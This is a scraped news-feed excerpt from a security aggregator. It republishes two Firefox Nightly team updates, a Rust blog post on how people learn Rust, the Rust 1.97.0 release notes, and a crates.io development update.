]]> <![CDATA[Firefox Nightly: More Kit, More Control – These Weeks in Firefox: Issue 203]]> https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/ https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/ Sat, 25 Jul 2026 08:37:32 +0200 💾 Tools tsecurity.de Highlights

Internet connection error page with an adorable Kit illustration

Two radio button controls for the Smart Window Memories feature, including "Chats in Smart Window" and "Browsing across Firefox"

 

  • We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, completing the deprecation

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

  • Amin Amir
  • Pranjali Srivastava
  • Sam Johnson

New contributors (🌟 = first patch)

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons
  • Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by Bug 1532724, fix shipping in Firefox 152) – Bug 1595158
WebExtensions Framework
  • Fixed access to web-accessible resources declared with <all_urls> from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 – Bug 2033905
WebExtension APIs
  • Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs – Bug 2029092

DevTools

  • Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
    • added support for remote debugging (#2014064, #2016121)
    • made sure that calls to History.replaceState are reflected in the UI (#2037359)
  • Julian Descottes [:jdescottes] fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (#2030260)
  • Nicolas Chevobbe [:nchevobbe] fixed the image preview tooltip for relative URLs images in constructed stylesheet (#2035503)
  • Julian Descottes [:jdescottes] reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (#2026228)

WebDriver

Lint, Docs and Workflow

New Tab Page

  • We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
    • We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.
  • Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.
  • Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!

World clock widget in New Tab featuring different time zones for YTO, BER, SYD, and LAX.

Search and Urlbar

Smart Window

  • natural language starting with tab close/undo 2035343 with expandable action log 2031508

Tab close and undo actions in Smart Window accompanied by an expandable log of actions taken

Storybook/Reusable Components/Acorn Design System

  • Nova token updates occasionally, focused on SRD

UX Fundamentals

  • Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – 2035942

Settings Redesign

  • Settings redesign is being tested and will hopefully go out in Firefox 152!
]]> <![CDATA[Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204]]> https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/ https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/ Sat, 25 Jul 2026 08:37:31 +0200 💾 Tools tsecurity.de Highlights

Firefox context menu video controls like Pause, Unmute, Speed and Loop.

Tooltip in Firefox DevTools for mismatched syntax with attr()

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

  • Sam Johnson
  • Sebastian Zartner [:sebo]

New contributors (🌟 = first patch)

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons
  • As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page – Bug 1881767
WebExtensions Framework
  • Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features – Bug 1745823
  • Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) – Bug 1904054
    • Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.
WebExtension APIs
  • Fixed handling of <all_urls> as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install – Bug 1758306

DevTools

WebDriver

Lint, Docs and Workflow

New Tab Page

Picture-in-Picture

Performance Tools (aka Firefox Profiler)

  • Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.

Search and Urlbar

Nova UI refresh
Suggest
  • Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.
  • 2040561, 2039753, 2035614, 2038843
Adaptive autofill
  • James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.
  • 2040819, 2037177
Quick actions
  • Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.
  • Caleb added Calculator support for certain unicode operators.
  • 2023169, 1928635, 1923383, 2033861
Multi Context Address Bar
  • Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.
  • 2039297, 2036095, 2039844, 2037933, 2030050
Other
Search
  • Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from resource://search-extensions/.
  • Caleb fixed multiple documentation issues and added a test covering searches from a private window.
  • 1904613, 2035878, 2037942, 2033545, 2005724
Places
  • Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.
  • Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.
  • 2039534, 1505800, 2008829, 2029541, 2035084
]]> <![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]> https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/ https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/ Sat, 25 Jul 2026 08:37:24 +0200 💾 Tools tsecurity.de This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some of the major challenges that people face when using Rust.

In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.

As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.

Many paths to needing Rust

The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.

"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO

Rust learning resources

Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as The Rust Programming Language Book and find that sufficient to build on what the compiler was already showing them.

"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier

Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as Rustlings, The Little Book of Rust Macros, and Learn Rust With Entirely Too Many Linked Lists.

"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant

"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage

These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.

"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry

Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.

Beginner stumblings and unlearning habits

It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.

"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax." -- Principal Firmware Engineer (mobile robotics)

"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of mut and not mut and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT

We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.

"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&D Lab

Learning to work with the borrow checker

We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.

The compiler as teacher

Rust's diagnostics did the teaching on their own, especially around lifetimes.

"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs

"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer

Learning by doing

Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.

"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust

"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider

Letting go of "clone guilt"

Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.

"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university

The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.

We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or Vecs.

Multi-paradigm, but not the OOP some are used to

The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.

"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM

"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company

Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.

"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries

"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO

Teaching Rust in academia

We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.

"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust

The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.

What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.

Learning using LLMs

Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.

"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate

"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust

For some learners, an LLM is just another way to find answers, no different than a search engine.

"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space

One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.

"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company

We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.

Organizational considerations for Rust learners

We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.

"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in." -- Principal Firmware Engineer (mobile robotics)

"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider

"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation

Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.

"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM

The community and helping each other aspect seems to grow bonds as organizations mature.

"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company

Silent attrition

We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.

"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor

There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.

"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)

We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.

"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust

While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.

"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider

Feedback on near-bounces from survey

We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:

"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A

Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.

One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.

Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.

Need more focused work on silent attritrion

The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.

Conclusions

Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.

That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.

What seems worth trying

Learning materials aimed at unlearning. Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.

Put the "clone freely while you're learning" advice somewhere official. Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.

Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did. Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.

Is "the book" actually out of date? Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.

How stuck learners get treated is shaping who stays. We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.

Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust. Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.

What we still don't know

The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in our first post, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.

We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.

The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.

]]> <![CDATA[The Rust Programming Language Blog: Announcing Rust 1.97.0]]> https://tsecurity.de/de/3693286/tools/the-rust-programming-language-blog-announcing-rust-1970/ https://tsecurity.de/de/3693286/tools/the-rust-programming-language-blog-announcing-rust-1970/ Sat, 25 Jul 2026 08:37:20 +0200 💾 Tools tsecurity.de The Rust team is happy to announce a new version of Rust, 1.97.0. Rust is a programming language empowering everyone to build reliable and efficient software.

If you have a previous version of Rust installed via rustup, you can get 1.97.0 with:

$ rustup update stable

If you don't have it already, you can get rustup from the appropriate page on our website, and check out the detailed release notes for 1.97.0.

If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel (rustup default beta) or the nightly channel (rustup default nightly). Please report any bugs you might come across!

What's in 1.97.0 stable

Symbol mangling v0 enabled by default

When Rust is compiled into object files and binaries, each item (functions, statics, etc) must have a globally unique "symbol" identifying it. To avoid conflicts when linking together different Rust programs, Rust mangles the original name of items to include additional context such as the module path, defining crate, generics, and more. Historically, this mangling was based on the Itanium ABI, also (sometimes) used by C++.

The new mangling scheme resolves a number of drawbacks from the previous one:

  • Generic parameter instantiations preserve their values, rather than being tracked solely behind a hash
  • Inconsistencies: not all parts used the Itanium ABI, meaning that custom demangling was still necessary

Since Rust 1.59, the compiler has supported opting into a Rust-specific mangling scheme via -Csymbol-mangling-version=v0. Since November 2025, this scheme has been enabled by default on nightly, and 1.97 is now enabling it on stable Rust. The legacy mangling scheme can only be enabled on nightly, and the current plan is to fully remove it.

See the previous blog post for more details.

Cargo support for denying warnings

It's common practice to deny warnings in CI. Historically, doing so is typically done through RUSTFLAGS=-Dwarnings. With Rust 1.97, Cargo controls how warnings interact with build success: either silencing them (via allow level), rendering without failing (default, warn), or denying them (via deny).

As a result of Cargo configuration determining the behavior, using this feature doesn't invalidate the underlying build cache, meaning that it's easy to temporarily opt-in. For example, if warnings are adding unwanted noise while working through fixing errors after a refactor, you can run CARGO_BUILD_WARNINGS=allow cargo check, temporarily silencing them.

In CI, jobs can instead set CARGO_BUILD_WARNINGS=deny to deny warnings. This can be combined with --keep-going to collect all errors and warnings rather than stopping on the first failing package.

See the documentation for more details.

Linker output no longer hidden by default

rustc invokes a linker on behalf of users. Historically, rustc has silenced linker output by default if the link completes successfully. This can mask real problems, though, so in Rust 1.97 we are enabling linker messages by default. These are emitted as a warning lint, for example:

warning: linker stderr: ignoring deprecated linker optimization setting '1'
  |
  = note: `#[warn(linker_messages)]` on by default

Common linker messages that have been diagnosed as false positives or intentional behavior are filtered out by rustc. Several defects have already been fixed as a result of no longer hiding this output on nightly.

Note that currently, linker_messages is a special lint that is not affected by the warnings lint group. This is intentional as rustc generally doesn't control linker output as precisely, and it's not uncommon for output to only appear on some platforms. If you are seeing what you think is a false positive output from the linker, please file an issue.

To silence the warning in the mean time, you can configure the lint level to allow. This can be done through Cargo.toml by adding a lints section like this:

[lints.rust]
linker_messages = "allow"

Stabilized APIs

These previously stable APIs are now stable in const contexts:

Other changes

Check out everything that changed in Rust, Cargo, and Clippy.

Contributors to 1.97.0

Many people came together to create Rust 1.97.0. We couldn't have done it without all of you. Thanks!

]]> <![CDATA[The Rust Programming Language Blog: crates.io: development update]]> https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/ https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/ Sat, 25 Jul 2026 08:37:18 +0200 💾 Tools tsecurity.de Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer

Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that cargo downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized Cargo.toml files that cargo generates.

Source code viewer showing the "Code" tab of the serde crate

The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable #L10-L20 URLs.

Under the hood, the server now builds a zip file for every published version. Since the .crate files that cargo consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.

The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!

Untangling crates.io Accounts from GitHub

At the end of May, the crates.io team accepted RFC #3946. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.

The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.

Advisories and Suggestions

In our January update we introduced the "Security" tab, which shows security advisories from the RustSec database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to Dirkjan Ochtman for implementing this feature!

Unmaintained warning banner on the ansi_term crate page

Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like lazy_static, which has been superseded by std::sync::LazyLock since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.

"You might not need this dependency" banner on the lazy_static crate page

The dataset behind this feature lives in the new rust-lang/std-replacement-data repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable std, core, or alloc API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.

Ferris

The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:

Ferris' eyes following the mouse cursor on the error page

Getting a 404 error on crates.io is now slightly less sad.

Svelte Frontend Migration Completed

In our January update, we announced that we were experimenting with porting the crates.io frontend from Ember.js to Svelte. This experiment has concluded successfully: the new frontend reached feature parity, went through a public testing phase in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.

We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.

We want to thank the Ember.js team for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.

Miscellaneous

These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:

  • Search performance: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.

  • Reverse dependencies performance: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.

  • New ARCHITECTURE.md: If you've ever wondered how crates.io actually works, our ARCHITECTURE.md document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run cargo publish, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.

  • Definition lists: READMEs now render Markdown definition lists, a widely used Markdown extension. Our markdown renderer comrak already supported them, the extension just wasn't enabled yet. Thanks to @mistaste for this contribution!

  • CDN cache tags: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.

  • Caching improvements: We removed a global Vary: Cookie response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use Cache-Control: no-store instead, resulting in better cache hit rates at the CDN edge.

